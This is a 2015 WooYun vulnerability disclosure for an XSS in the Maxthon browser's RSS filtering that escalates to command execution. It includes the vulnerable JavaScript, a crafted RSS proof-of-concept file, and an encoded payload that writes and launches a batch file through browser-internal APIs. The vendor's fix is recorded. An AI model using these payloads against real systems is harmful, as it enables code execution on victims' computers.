当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114877

漏洞标题:傲游浏览器RSS订阅处继续XSS导致远程命令执行(有条件)

相关厂商:傲游

漏洞作者: 路人甲

提交时间:2015-05-19 10:49

修复时间:2015-08-18 23:44

公开时间:2015-08-18 23:44

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-20: 厂商已经确认,细节仅向厂商公开
2015-07-14: 细节向核心白帽子及相关领域专家公开
2015-07-24: 细节向普通白帽子公开
2015-08-03: 细节向实习白帽子公开
2015-08-18: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

看http://www.wooyun.org/bugs/wooyun-2015-0114083,据说4.4.5.1800 中已处理.但是,这么多正则来过滤,难免不会再次出问题。
老是在修XSS,何时是个头。

详细说明:

下载最新的4.4.5.1800,依然存在问题。
问题还是出在 RSS的过滤函数上,如下图所示:

1.png


其中 y.baseUrl来自 /rss/channel/link 这个节点。

z = z.replace(/<img ([^>]*?)src\s*=\s*"([^"]+?)"/ig, function(B, A, E, D, C) {
return "<img " + A + 'src="' + n(E, y) + '"';
})


这段代码有什么问题呢?
如果我们恶意构造 z 的内容,即构造/rss/channel/item/description结合,让其 含有以下html代码,

<img a=" src="/" />


例如改成下面这样:
<description><![CDATA[<strong>a</strong><img a=" src="/" />]]></description>
根据正则的匹配, 此时 A 为 a=" , E 为 src属性的值,即为 /
替换后的内容为
<img a=" src="XXXXXXXXXX "
可以看到,如果XXXXXXXX我们可以控制的话,那么就可以成功XSS。
XXXXXXXX 的值来自于 n(E, y) ,我们来看看 n 函数,

function n(q, r) {
q = q.trim().replace(/\"/g, "%22");
if (q.charAt(0) == "/") {
if (q.charAt(1) == "/") {
if (!r.protocol) {
r.protocol = r.baseUrl.replace(/(^[a-z0-9_.~-]+:).*/i, "$1");
}
return r.protocol + q;
}
if (!r.baseAbsPath) {
r.baseAbsPath = r.baseUrl.replace(/(^[a-z0-9_.~-]+:\/\/.*\/).*/i, "$1");
}
return r.baseAbsPath + q.substr(1);
}
if (/^javascript:/i.test(q)) {
return "#";
} else {
if ((/^[a-z0-9_.~-]+:/i).test(q)) {
return q;
}
}
if (!r.baseRelPath) {
r.baseRelPath = r.baseUrl.replace(/(^[a-z0-9_.~-]+:\/\/.*\/(?:[^#?]*\/)?).*/i, "$1");
}
return r.baseRelPath + q;
}


可以看到 n 函数的返回值 由 baseUrl 构成,而baseUrl上面说到是来自来自 /rss/channel/link 这个节点。
如此一来,我们只需要把 /rss/channel/link 这个节点的值,恶意构造成XSS代码即可。
<link>/ src=1 onerror=alert(1)//</link>
----------------------------------
综合起来的XML代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>wooyun.org 最新提交漏洞</title>
<link>/ src=1 onerror=alert(1)//</link>
<ttl>5</ttl>
<description>wooyun.org</description>
<language>zh-cn</language>
<generator>www.wooyun.org</generator>
<webmaster>[email protected]</webmaster>
<item>
<link> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </link>
<title><![CDATA[苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞]]></title>
<description><![CDATA[<strong>a</strong><img a=" src="/" />]]></description>
<pubDate>Wed, 05 Nov 2014 15:38:18 +0800</pubDate>
<category></category>
<author>路人甲</author>
<guid> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </guid>
</item>
</channel>
</rss>


XSS成功执行:

2.png


至于命令执行,只需要把link部分稍微做改动即可:

<link>/ src=1 onerror=eval(unescape(/var%20s%3Ddocument.createElement%28%22iframe%22%29%3Bs.onload%3Dfunction%28%29%7Bvar%20io%3Ds.contentWindow.maxthon.io%3Bvar%20f%3Dnew%20io.File.createTempFile%28%29%3Bf.name_%3D%22C%3A%5C%5C1.bat%22%3Bio.FileWriter%28f%29%3Bio.writeText%28%22net%20user%20%26%26%20pause%22%29%3Bs.onload%3Dfunction%28%29%7Bs.contentWindow.maxthon.program.Program.launch%28%22C%3A%5C%5C1.bat%22%2C%22%22%29%7D%3Bs.src%3D%22mx%3A%2f%2fres%2fnotification%2f%22%7D%3Bs.src%3D%22mx%3A%2f%2fres%2fapp%2f%257B33CA60D6-EADC-4558-9185-2EBE14214AB9%257D%2findex.htm%22%3Bdocument.body.appendChild%28s%29%3B/.source))//</link>

漏洞证明:

见:http://appmaker.sinaapp.com/mxpoc-2015-5-19.xml

3.jpg

修复方案:

1. 继续修正则,
2. 但是如果这样继续修,太容易继续被X了。是否考虑其它方式来避免此类问题?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-05-20 23:43

厂商回复:

内核已限制 RSS 中调用exe及写入本地文件
下一步继续完善过滤

最新状态:

2015-06-16:4.4.5.3000 已修复